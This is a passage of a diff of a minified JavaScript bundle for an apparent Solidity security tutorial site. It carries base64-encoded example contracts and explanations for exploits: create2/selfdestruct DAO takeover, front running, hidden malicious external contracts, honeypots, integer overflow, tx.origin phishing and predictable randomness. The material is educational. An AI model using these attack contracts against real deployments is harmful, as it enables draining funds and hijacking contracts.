address",vW="",NW=[{fileName:"TornadoHack.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCkNhbGxlZCBieSBBbGljZQowLiBEZXBsb3kgREFPCgpDYWxsZWQgYnkgQXR0YWNrZXIKMS4gRGVwbG95IERlcGxveWVyRGVwbG95ZXIKMi4gQ2FsbCBEZXBsb3llckRlcGxveWVyLmRlcGxveSgpCjMuIENhbGwgRGVwbG95ZXIuZGVwbG95UHJvcG9zYWwoKQoKQ2FsbGVkIGJ5IEFsaWNlCjQuIEdldCBEQU8gYXBwcm92YWwgb2YgUHJvcG9zYWwKCkNhbGxlZCBieSBBdHRhY2tlcgo1LiBEZWxldGUgUHJvcG9zYWwgYW5kIERlcGxveWVyCjYuIFJlLWRlcGxveSBEZXBsb3llcgo3LiBDYWxsIERlcGxveWVyLmRlcGxveUF0dGFjaygpCjguIENhbGwgREFPLmV4ZWN1dGUKOS4gQ2hlY2sgREFPLm93bmVyIGlzIGF0dGFja2VyJ3MgYWRkcmVzcwoKREFPIC0tIGFwcHJvdmVkIC0tPiBQcm9wb3NhbApEZXBsb3llckRlcGxveWVyIC0tIGNyZWF0ZTIgLS0+IERlcGxveWVyIC0tIGNyZWF0ZSAtLT4gUHJvcG9zYWwKRGVwbG95ZXJEZXBsb3llciAtLSBjcmVhdGUyIC0tPiBEZXBsb3llciAtLSBjcmVhdGUgLS0+IEF0dGFjawoqLwoKY29udHJhY3QgREFPIHsKICAgIHN0cnVjdCBQcm9wb3NhbCB7CiAgICAgICAgYWRkcmVzcyB0YXJnZXQ7CiAgICAgICAgYm9vbCBhcHByb3ZlZDsKICAgICAgICBib29sIGV4ZWN1dGVkOwogICAgfQoKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIFByb3Bvc2FsW10gcHVibGljIHByb3Bvc2FsczsKCiAgICBm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gICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBraWxsKCkgZXh0ZXJuYWwgewogICAgICAgIHNlbGZkZXN0cnVjdChwYXlhYmxlKGFkZHJlc3MoMCkpKTsKICAgIH0KfQo="}],HW=`

                                    Contract address deployed with create is computed in the following way.

                                    contract address = last 20 bytes of sha3(rlp_encode(sender, nonce))
                                     

                                    where sender is the address of the deployer and nonce is the number of transactions sent by sender.

                                    Hence it is possible to deploy different contracts at the same address if we can somehow reset the nonce.

                                    @@ -9803,7 +10175,7 @@ DeployerDeployer -- create2 --> Deployer -- create --> Attack selfdestruct(payable(address(0))); } } -`,BZ=({prev:s,next:a})=>r.jsx(A,{version:mZ,title:bZ,description:wZ,cyfrinLink:kZ,html:WZ,prev:s,next:a,codes:ZZ}),GZ="0.8.26",fZ="Front Running",VZ="An example of a Solidity contract vulnerable to front running",YZ="",XZ=[{fileName:"FrontRunning.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCkFsaWNlIGNyZWF0ZXMgYSBndWVzc2luZyBnYW1lLgpZb3Ugd2luIDEwIGV0aGVyIGlmIHlvdSBjYW4gZmluZCB0aGUgY29ycmVjdCBzdHJpbmcgdGhhdCBoYXNoZXMgdG8gdGhlIHRhcmdldApoYXNoLiBMZXQncyBzZWUgaG93IHRoaXMgY29udHJhY3QgaXMgdnVsbmVyYWJsZSB0byBmcm9udCBydW5uaW5nLgoqLwoKLyoKMS4gQWxpY2UgZGVwbG95cyBGaW5kVGhpc0hhc2ggd2l0aCAxMCBFdGhlci4KMi4gQm9iIGZpbmRzIHRoZSBjb3JyZWN0IHN0cmluZyB0aGF0IHdpbGwgaGFzaCB0byB0aGUgdGFyZ2V0IGhhc2guICgiRXRoZXJldW0iKQozLiBCb2IgY2FsbHMgc29sdmUoIkV0aGVyZXVtIikgd2l0aCBnYXMgcHJpY2Ugc2V0I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oKICAgICAgICAoYm9vbCBzZW50LCkgPSBwYXlhYmxlKG1zZy5zZW5kZXIpLmNhbGx7dmFsdWU6IHJld2FyZH0oIiIpOwogICAgICAgIGlmICghc2VudCkgewogICAgICAgICAgICB3aW5uZXIgPSBhZGRyZXNzKDApOwogICAgICAgICAgICBlbmRlZCA9IGZhbHNlOwogICAgICAgICAgICByZXZlcnQoIkZhaWxlZCB0byBzZW5kIGV0aGVyLiIpOwogICAgICAgIH0KICAgIH0KfQo="}],vZ=`

                                    Vulnerability

                                    +`,KW=({prev:s,next:a})=>r.jsx(A,{version:YW,title:XW,description:RW,cyfrinLink:vW,html:HW,prev:s,next:a,codes:NW}),FW="0.8.26",MW="Front Running",SW="An example of a Solidity contract vulnerable to front running",xW="",JW=[{fileName:"FrontRunning.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCkFsaWNlIGNyZWF0ZXMgYSBndWVzc2luZyBnYW1lLgpZb3Ugd2luIDEwIGV0aGVyIGlmIHlvdSBjYW4gZmluZCB0aGUgY29ycmVjdCBzdHJpbmcgdGhhdCBoYXNoZXMgdG8gdGhlIHRhcmdldApoYXNoLiBMZXQncyBzZWUgaG93IHRoaXMgY29udHJhY3QgaXMgdnVsbmVyYWJsZSB0byBmcm9udCBydW5uaW5nLgoqLwoKLyoKMS4gQWxpY2UgZGVwbG95cyBGaW5kVGhpc0hhc2ggd2l0aCAxMCBFdGhlci4KMi4gQm9iIGZpbmRzIHRoZSBjb3JyZWN0IHN0cmluZyB0aGF0IHdpbGwgaGFzaCB0byB0aGUgdGFyZ2V0IGhhc2guICgiRXRoZXJldW0iKQozLiBCb2IgY2FsbHMgc29sdmUoIkV0aGVyZXVtIikgd2l0aCBnYXMgcHJpY2Ugc2V0IHRvIDE1IGd3ZWkuCjQuIEV2ZSBpcyB3YXRjaGluZyB0aGUgdHJhbnNhY3Rpb24gcG9vbCBmb3Igd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ZH0oIiIpOwogICAgICAgIGlmICghc2VudCkgewogICAgICAgICAgICB3aW5uZXIgPSBhZGRyZXNzKDApOwogICAgICAgICAgICBlbmRlZCA9IGZhbHNlOwogICAgICAgICAgICByZXZlcnQoIkZhaWxlZCB0byBzZW5kIGV0aGVyLiIpOwogICAgICAgIH0KICAgIH0KfQo="}],zW=`

                                    Vulnerability

                                    Transactions take some time before they are mined. An attacker can watch the transaction pool and send a transaction, have it included in a block before the original transaction. This mechanism can be abused to re-order transactions to the attacker's advantage.

                                    @@ -9988,7 +10360,7 @@ before the original. } } } -`,RZ=({prev:s,next:a})=>r.jsx(A,{version:GZ,title:fZ,description:VZ,cyfrinLink:YZ,html:vZ,prev:s,next:a,codes:XZ}),NZ="0.8.26",HZ="Hiding Malicious Code with External Contract",FZ="An example of exploit where malicious code is hidden in an external contract in Solidity",KZ="",MZ=[{fileName:"ExternalContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCkxldCdzIHNheSBBbGljZSBjYW4gc2VlIHRoZSBjb2RlIG9mIEZvbyBhbmQgQmFyIGJ1dCBub3QgTWFsLgpJdCBpcyBvYnZpb3VzIHRvIEFsaWNlIHRoYXQgRm9vLmNhbGxCYXIoKSBleGVjdXRlcyB0aGUgY29kZSBpbnNpZGUgQmFyLmxvZygpLgpIb3dldmVyIEV2ZSBkZXBsb3lzIEZvbyB3aXRoIHRoZSBhZGRyZXNzIG9mIE1hbCwgc28gdGhhdCBjYWxsaW5nIEZvby5jYWxsQmFyKCkKd2lsbCBhY3R1YWxseSBleGVjdXRlIHRoZSBjb2RlIGF0IE1hbC4KKi8KCi8qCjEuIEV2ZSBkZXBsb3lzIE1hbAoyLiBFdmUgZGVwbG95cyBGb28gd2l0aCB0aGUgYWRkcmVzcyBvZiBNYWwKMy4gQWxpY2UgY2FsbHMgRm9vLmNhbGxCYXIoKSBhZnRlciByZWFkaW5nIHRoZSBjb2RlIGFuZCBqdWRnaW5nIHRoYXQgaXQgaXMKICAgc2FmZSB0byBjYWxsLgo0LiBBbHRob3VnaCBBbGljZSBleHBlY3RlZCBCYXIubG9nKCkgdG8gYmUgZXhlY3V0ZSwgTWFsLmxvZygpIHdhcyBleGVjdXRlZC4KKi8KCmNvbnRyYWN0IEZvbyB7CiAgICBCYXIgYmFyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX2JhcikgewogICAgICAgIGJhciA9IEJhcihfYmFyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsQmFyKCkgcHVibGljIHsKICAgICAgICBiYXIubG9nKCk7CiAgICB9Cn0KCmNvbnRyYWN0IEJhciB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZ1bmN0aW9uIGxvZygpIHB1YmxpYyB7CiAgICAgICAgZW1pdCBMb2coIkJhciB3YXMgY2FsbGVkIik7CiAgICB9Cn0KCi8vIFRoaXMgY29kZSBpcyBoaWRkZW4gaW4gYSBzZXBhcmF0ZSBmaWxlCmNvbnRyYWN0IE1hbCB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIC8vIGZ1bmN0aW9uICgpIGV4dGVybmFsIHsKICAgIC8vICAgICBlbWl0IExvZygiTWFsIHdhcyBjYWxsZWQiKTsKICAgIC8vIH0KCiAgICAvLyBBY3R1YWxseSB3ZSBjYW4gZXhlY3V0ZSB0aGUgc2FtZSBleHBsb2l0IGV2ZW4gaWYgdGhpcyBmdW5jdGlvbiBkb2VzCiAgICAvLyBub3QgZXhpc3QgYnkgdXNpbmcgdGhlIGZhbGxiYWNrCiAgICBmdW5jdGlvbiBsb2coKSBwdWJsaWMgewogICAgICAgIGVtaXQgTG9nKCJNYWwgd2FzIGNhbGxlZCIpOwogICAgfQp9Cg=="}],SZ=`

                                    Vulnerability

                                    +`,DW=({prev:s,next:a})=>r.jsx(A,{version:FW,title:MW,description:SW,cyfrinLink:xW,html:zW,prev:s,next:a,codes:JW}),EW="0.8.26",QW="Hiding Malicious Code with External Contract",TW="An example of exploit where malicious code is hidden in an external contract in Solidity",UW="",LW=[{fileName:"ExternalContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCkxldCdzIHNheSBBbGljZSBjYW4gc2VlIHRoZSBjb2RlIG9mIEZvbyBhbmQgQmFyIGJ1dCBub3QgTWFsLgpJdCBpcyBvYnZpb3VzIHRvIEFsaWNlIHRoYXQgRm9vLmNhbGxCYXIoKSBleGVjdXRlcyB0aGUgY29kZSBpbnNpZGUgQmFyLmxvZygpLgpIb3dldmVyIEV2ZSBkZXBsb3lzIEZvbyB3aXRoIHRoZSBhZGRyZXNzIG9mIE1hbCwgc28gdGhhdCBjYWxsaW5nIEZvby5jYWxsQmFyKCkKd2lsbCBhY3R1YWxseSBleGVjdXRlIHRoZSBjb2RlIGF0IE1hbC4KKi8KCi8qCjEuIEV2ZSBkZXBsb3lzIE1hbAoyLiBFdmUgZGVwbG95cyBGb28gd2l0aCB0aGUgYWRkcmVzcyBvZiBNYWwKMy4gQWxpY2UgY2FsbHMgRm9vLmNhbGxCYXIoKSBhZnRlciByZWFkaW5nIHRoZSBjb2RlIGFuZCBqdWRnaW5nIHRoYXQgaXQgaXMKICAgc2FmZSB0byBjYWxsLgo0LiBBbHRob3VnaCBBbGljZSBleHBlY3RlZCBCYXIubG9nKCkgdG8gYmUgZXhlY3V0ZSwgTWFsLmxvZygpIHdhcyBleGVjdXRlZC4KKi8KCmNvbnRyYWN0IEZvbyB7CiAgICBCYXIgYmFyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX2JhcikgewogICAgICAgIGJhciA9IEJhcihfYmFyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsQmFyKCkgcHVibGljIHsKICAgICAgICBiYXIubG9nKCk7CiAgICB9Cn0KCmNvbnRyYWN0IEJhciB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZ1bmN0aW9uIGxvZygpIHB1YmxpYyB7CiAgICAgICAgZW1pdCBMb2coIkJhciB3YXMgY2FsbGVkIik7CiAgICB9Cn0KCi8vIFRoaXMgY29kZSBpcyBoaWRkZW4gaW4gYSBzZXBhcmF0ZSBmaWxlCmNvbnRyYWN0IE1hbCB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIC8vIGZ1bmN0aW9uICgpIGV4dGVybmFsIHsKICAgIC8vICAgICBlbWl0IExvZygiTWFsIHdhcyBjYWxsZWQiKTsKICAgIC8vIH0KCiAgICAvLyBBY3R1YWxseSB3ZSBjYW4gZXhlY3V0ZSB0aGUgc2FtZSBleHBsb2l0IGV2ZW4gaWYgdGhpcyBmdW5jdGlvbiBkb2VzCiAgICAvLyBub3QgZXhpc3QgYnkgdXNpbmcgdGhlIGZhbGxiYWNrCiAgICBmdW5jdGlvbiBsb2coKSBwdWJsaWMgewogICAgICAgIGVtaXQgTG9nKCJNYWwgd2FzIGNhbGxlZCIpOwogICAgfQp9Cg=="}],_W=`

                                    Vulnerability

                                    In Solidity any address can be casted into specific contract, even if the contract at the address is not the one being casted.

                                    This can be exploited to hide malicious code. Let's see how.

                                    @@ -10055,7 +10427,7 @@ external contract can be reviewed constructor() public { bar = new Bar(); } -`,xZ=({prev:s,next:a})=>r.jsx(A,{version:NZ,title:HZ,description:FZ,cyfrinLink:KZ,html:SZ,prev:s,next:a,codes:MZ}),JZ="0.8.26",zZ="Honeypot",DZ="An example of honeypot in Solidity",EZ="",QZ=[{fileName:"HoneyPot.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCkJhbmsgaXMgYSBjb250cmFjdCB0aGF0IGNhbGxzIExvZ2dlciB0byBsb2cgZXZlbnRzLgpCYW5rLndp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ByZXZlcnQoIkl0J3MgYSB0cmFwIik7CiAgICAgICAgfQogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGNvbXBhcmUgc3RyaW5ncyB1c2luZyBrZWNjYWsyNTYKICAgIGZ1bmN0aW9uIGVxdWFsKHN0cmluZyBtZW1vcnkgX2EsIHN0cmluZyBtZW1vcnkgX2IpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlKF9hKSkgPT0ga2VjY2FrMjU2KGFiaS5lbmNvZGUoX2IpKTsKICAgIH0KfQo="}],TZ=`

                                    A honeypot is a trap to catch hackers.

                                    +`,OW=({prev:s,next:a})=>r.jsx(A,{version:EW,title:QW,description:TW,cyfrinLink:UW,html:_W,prev:s,next:a,codes:LW}),PW="0.8.26",$W="Honeypot",qW="An example of honeypot in Solidity",s2="",a2=[{fileName:"HoneyPot.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCkJhbmsgaXMgYSBjb250cmFjdCB0aGF0IGNhbGxzIExvZ2dlciB0byBsb2cgZXZlbnRzLgpCYW5rLndpdGhkcmF3KCkgaXMgdnVsbmVyYWJsZSB0byB0aGUgcmVlbnRyYW5jeSBhdHRhY2suClNvIGEgaGFja2VyIHRyaWVzIHRvIGRyYWluIEV0aGVyIGZyb20gQmFuay4KQnV0IGFjdHVhbGx5IHRoZSByZWVudHJhY3kgZXhwbG9pdCBpcyBhIGJhaXQgZm9yIGhhY2tlcnMuCkJ5IGRlcGxveWluZyBCYW5rIHdpdGggSG9uZXlQb3QgaW4gcGxhY2Ugb2YgdGhlIExvZ2dlciwgdGhpcyBjb250cmFjdCBiZWNvbWVzCmEgdHJhcCBmb3IgaGFja2Vycy4gTGV0J3Mgc2VlIGhvdy4KCjEuIEFsaWNlIGR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n2=`

                                    A honeypot is a trap to catch hackers.

                                    Vulnerability

                                    Combining two exploits, reentrancy and hiding malicious code, we can build a contract

                                    that will catch malicious users.

                                    @@ -10161,7 +10533,7 @@ Logger.log() calls HoneyPot.log() and reverts. Transaction fails. return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b)); } } -`,UZ=({prev:s,next:a})=>r.jsx(A,{version:JZ,title:zZ,description:DZ,cyfrinLink:EZ,html:TZ,prev:s,next:a,codes:QZ}),_Z="0.8.26",LZ="Arithmetic Overflow and Underflow",OZ="An example of hacking Solidity with arithmetic overflow / underflow",PZ="",$Z=[{fileName:"Overflow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuNy42OwoKLy8gVGhpcyBjb250cmFjdCBpcyBkZXNpZ25lZCB0byBhY3QgYXMgYSB0aW1lIHZhdWx0LgovLyBVc2VyIGNhbiBkZXBvc2l0IGludG8gdGhpcyBjb250cmFjdCBidXQgY2Fubm90IHdpdGhkcmF3IGZvciBhdGxlYXN0IGEgd2Vlay4KLy8gVXNlciBjYW4gYWxzbyBleHRlbmQgdGhlIHdhaXQgdGltZSBiZXlvbmQgdGhlIDEgd2VlayB3YWl0aW5nIHBlcmlvZC4KCi8qCjEuIERlcGxveSBUaW1lTG9jawoyLiBEZXBsb3kgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBUaW1lTG9jawozLiBDYWxsIEF0dGFjay5hdHRhY2sgc2VuZGluZyAxIGV0aGVyLiBZb3Ugd2lsbCBpbW1lZGlhdGVseSBiZSBhYmxlIHRvCiAgIHdpdGhkcmF3IHlvdXIgZXRoZXIuCgpXaGF0IGhhcHBlbmVkPwpBdHRhY2sgY2F1c2VkIHRoZSBUaW1lTG9jay5sb2NrVGltZSB0byBvdmVyZmxvdyBhbmQgd2FzIGFibGUgdG8gd2l0aGRyYXcKYmVmb3JlIHRoZSAxIHdlZWsgd2FpdGluZyBwZXJpb2QuCi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jb25zdHJ1Y3RvcihUaW1lTG9jayBfdGltZUxvY2spIHsKICAgICAgICB0aW1lTG9jayA9IFRpbWVMb2NrKF90aW1lTG9jayk7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIHRpbWVMb2NrLmRlcG9zaXR7dmFsdWU6IG1zZy52YWx1ZX0oKTsKICAgICAgICAvKgogICAgICAgIGlmIHQgPSBjdXJyZW50IGxvY2sgdGltZSB0aGVuIHdlIG5lZWQgdG8gZmluZCB4IHN1Y2ggdGhhdAogICAgICAgIHggKyB0ID0gMioqMjU2ID0gMAogICAgICAgIHNvIHggPSAtdAogICAgICAgIDIqKjI1NiA9IHR5cGUodWludCkubWF4ICsgMQogICAgICAgIHNvIHggPSB0eXBlKHVpbnQpLm1heCArIDEgLSB0CiAgICAgICAgKi8KICAgICAgICB0aW1lTG9jay5pbmNyZWFzZUxvY2tUaW1lKAogICAgICAgICAgICB0eXBlKHVpbnQyNTYpLm1heCArIDEgLSB0aW1lTG9jay5sb2NrVGltZShhZGRyZXNzKHRoaXMpKQogICAgICAgICk7CiAgICAgICAgdGltZUxvY2sud2l0aGRyYXcoKTsKICAgIH0KfQo="}],qZ=`

                                    Vulnerability

                                    +`,l2=({prev:s,next:a})=>r.jsx(A,{version:PW,title:$W,description:qW,cyfrinLink:s2,html:n2,prev:s,next:a,codes:a2}),p2="0.8.26",e2="Arithmetic Overflow and Underflow",c2="An example of hacking Solidity with arithmetic overflow / underflow",t2="",o2=[{fileName:"Overflow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuNy42OwoKLy8gVGhpcyBjb250cmFjdCBpcyBkZXNpZ25lZCB0byBhY3QgYXMgYSB0aW1lIHZhdWx0LgovLyBVc2VyIGNhbiBkZXBvc2l0IGludG8gdGhpcyBjb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bmNyZWFzZUxvY2tUaW1lKAogICAgICAgICAgICB0eXBlKHVpbnQyNTYpLm1heCArIDEgLSB0aW1lTG9jay5sb2NrVGltZShhZGRyZXNzKHRoaXMpKQogICAgICAgICk7CiAgICAgICAgdGltZUxvY2sud2l0aGRyYXcoKTsKICAgIH0KfQo="}],r2=`

                                    Vulnerability

                                    Solidity < 0.8

                                    Integers in Solidity overflow / underflow without any errors

                                    Solidity >= 0.8
                                    @@ -10240,7 +10612,7 @@ before the 1 week waiting period.
                                  • Solidity 0.8 defaults to throwing an error for overflow / underflow

                                  -`,sW=({prev:s,next:a})=>r.jsx(A,{version:_Z,title:LZ,description:OZ,cyfrinLink:PZ,html:qZ,prev:s,next:a,codes:$Z}),aW="0.8.26",nW="Phishing with tx.origin",lW="An example of phishing with tx.origin in Solidity",pW="",eW=[{fileName:"TxOrigin.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCldhbGxldCBpcyBhIHNpbXBsZSBjb250cmFjdCB3aGVyZSBvbmx5IHRoZSBvd25lciBzaG91bGQgYmUgYWJsZSB0byB0cmFuc2ZlcgpFdGhlciB0byBhbm90aGVyIGFkZHJlc3MuIFdhbGxldC50cmFuc2ZlcigpIHVzZXMgdHgub3JpZ2luIHRvIGNoZWNrIHRoYXQgdGhlCmNhbGxlciBpcyB0aGUgb3duZXIuIExldCdzIHNlZSBob3cgd2UgY2FuIGhhY2sgdGhpcyBjb250cmFjdAoqLwoKLyoKMS4gQWxpY2UgZGVwbG95cyBXYWxsZXQgd2l0aCAxMCBFdGhlcgoyLiBFdmUgZGVwbG95cyBBdHRhY2sgd2l0aCB0aGUgYWRkcmVzcyBvZiBBbGljZSdzIFdhbGxldCBjb250cmFjdC4KMy4gRXZlIHRyaWNrcyBBbGljZSB0byBjYWxsIEF0dGFjay5hdHRhY2soKQo0LiBFdmUgc3VjY2Vzc2Z1bGx5IHN0b2xlI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ibGUobXNnLnNlbmRlcik7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHsKICAgICAgICB3YWxsZXQudHJhbnNmZXIob3duZXIsIGFkZHJlc3Mod2FsbGV0KS5iYWxhbmNlKTsKICAgIH0KfQo="}],cW=`

                                  What's the difference between msg.sender and tx.origin?

                                  +`,i2=({prev:s,next:a})=>r.jsx(A,{version:p2,title:e2,description:c2,cyfrinLink:t2,html:r2,prev:s,next:a,codes:o2}),g2="0.8.26",h2="Phishing with tx.origin",I2="An example of phishing with tx.origin in Solidity",d2="",C2=[{fileName:"TxOrigin.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCldhbGxldCBpcyBhIHNpbXBsZSBjb250cmFjdCB3aGVyZSBvbmx5IHRoZSBvd25lciBzaG91bGQgYmUgYWJsZSB0byB0cmFuc2ZlcgpFdGhlciB0byBhbm90aGVyIGFkZHJlc3MuIFdhbGxldC50cmFuc2ZlcigpIHVzZXMgdHgub3JpZ2luIHRvIGNoZWNrIHRoYXQgdGhlCmNhbGxlciBpcyB0aGUgb3duZXIuIExldCdzIHNlZSBob3cgd2UgY2FuIGhhY2sgdGhpcyBjb250cmFjdAoqLwoKLyoKMS4gQWxpY2UgZGVwbG95cyBXYWxsZXQgd2l0aCAxMCBFdGhlcgoyLiBFdmUgZGVwbG95cyBBdHRhY2sgd2l0aCB0aGUgYWRkcmVzcyBvZiBBbGljZSdzIFdhbGxldCBjb250cmFjdC4KMy4gRXZlIHRyaWNrcyBBbGljZSB0byBjYWxsIEF0dGFjay5hdHRhY2soKQo0LiBFdmUgc3VjY2Vzc2Z1bGx5IHN0b2xlIEV0aGVyIGZyb20gQWxpY2UncyB3YWxsZXQKCldoYXQgaGFwcGVuZWQ/CkFsaWNlIHdhcyB0cmlja2VkIGludG8gY2FsbGluZyBBdHRhY2suYXR0YWNrKCkuIEluc2lkZSBB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YWxhbmNlKTsKICAgIH0KfQo="}],j2=`

                                  What's the difference between msg.sender and tx.origin?

                                  If contract A calls B, and B calls C, in C msg.sender is B and tx.origin is A.

                                  Vulnerability

                                  A malicious contract can deceive the owner of a contract into calling a @@ -10303,7 +10675,7 @@ it authorized the transfer. The wallet transferred all Ether to Eve. (bool sent, ) = _to.call{ value: _amount }(""); require(sent, "Failed to send Ether"); } -`,tW=({prev:s,next:a})=>r.jsx(A,{version:aW,title:nW,description:lW,cyfrinLink:pW,html:cW,prev:s,next:a,codes:eW}),oW="0.8.26",rW="Source of Randomness",iW="Blockchain is not a reliable source of randomness in Solidity",gW="",hW=[{fileName:"Randomness.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCk5PVEU6IGNhbm5vdCB1c2UgYmxvY2toYXNoIGluIFJlbWl4IHNvIHVzZSBnYW5hY2hlLWNsaQoKbnBtIGkgLWcgZ2FuYWNoZS1jbGkKZ2FuYWNoZS1jbGkKSW4gcmVtaXggc3dpdGNoIGVudmlyb25tZW50IHRvIFdlYjMgcHJvdmlkZXIKKi8KCi8qCkd1ZXNzVGhlUmFuZG9tTnVtYmVyIGlzIGEgZ2FtZSB3aGVyZSB5b3Ugd2luIDEgRXRoZXIgaWYgeW91IGNhbiBndWVzcyB0aGUKcHNldWRvIHJhbmRvbSBudW1iZXIgZ2VuZXJhdGVkIGZyb20gYmxvY2sgaGFzaCBhbmQgdGltZXN0YW1wLgoKQXQgZmlyc3QgZ2xhbmNlLCBpdCBzZWVtcyBpbXBvc3NpYmxlIHRvIGd1ZXNzIHRoZSBjb3JyZWN0IG51bWJlci4KQnV0IGxldCdzIHNlZSBob3cgZWFzeSBpdCBpcyB3aW4uCgoxLiBBbGljZSBkZXBsb3lzIEd1ZXNzVGhlUmFuZG9tTnVtYmVyIHdpdGggMSBFdGhlcgoyLiBFdmUgZGVwbG95cyBBdHRhY2sKMy4g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W1lc3RhbXApCiAgICAgICAgICAgICkKICAgICAgICApOwoKICAgICAgICBndWVzc1RoZVJhbmRvbU51bWJlci5ndWVzcyhhbnN3ZXIpOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayBiYWxhbmNlCiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],IW=`

                                  Vulnerability

                                  +`,A2=({prev:s,next:a})=>r.jsx(A,{version:g2,title:h2,description:I2,cyfrinLink:d2,html:j2,prev:s,next:a,codes:C2}),u2="0.8.26",y2="Source of Randomness",m2="Blockchain is not a reliable source of randomness in Solidity",b2="",w2=[{fileName:"Randomness.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCk5PVEU6IGNhbm5vdCB1c2UgYmxvY2toYXNoIGluIFJlbWl4IHNvIHVzZSBnYW5hY2hlLWNsaQoKbnBtIGkgLWcgZ2FuYWNoZS1jbGkKZ2FuYWNoZS1jbGkKSW4gcmVtaXggc3dpdGNoIGVudmlyb25tZW50IHRvIFdlYjMgcHJvdmlkZXIKKi8KCi8qCkd1ZXNzVGhlUmFuZG9tTnVtYmVyIGlzIGEgZ2FtZSB3aGVyZSB5b3Ugd2luIDEgRXRoZXIgaWYgeW91IGNhbiBndWVzcyB0aGUKcHNldWRvIHJhbmRvbSBudW1iZXIgZ2VuZXJhdGVkIGZyb20gYmxvY2sgaGFzaCBhbmQgdGltZXN0YW1wLgoKQXQgZmlyc3QgZ2xhbmNlLCBpdCBzZWVtcyBpbXBvc3NpYmxlIHRvIGd1ZXNzIHRoZSBjb3JyZWN0IG51bWJlci4KQnV0IGxldCdzIHNlZSBob3cgZWFzeSBpdCBpcyB3aW4uCgoxLiBBbGljZSB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azI1NigKICAgICAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoYmxvY2toYXNoKGJsb2NrLm51bWJlciAtIDEpLCBibG9jay50aW1lc3RhbXApCiAgICAgICAgICAgICkKICAgICAgICApOwoKICAgICAgICBndWVzc1RoZVJhbmRvbU51bWJlci5ndWVzcyhhbnN3ZXIpOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayBiYWxhbmNlCiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],k2=`

                                  Vulnerability

                                  blockhash and block.timestamp are not reliable sources for randomness.

                                  // SPDX-License-Identifier: MIT
                                   pragma solidity ^0.8.26;
                                  @@ -10370,7 +10742,7 @@ Attack computed the correct answer by simply copying the code that computes the
                                   
                                  • Don't use blockhash and block.timestamp as source of randomness
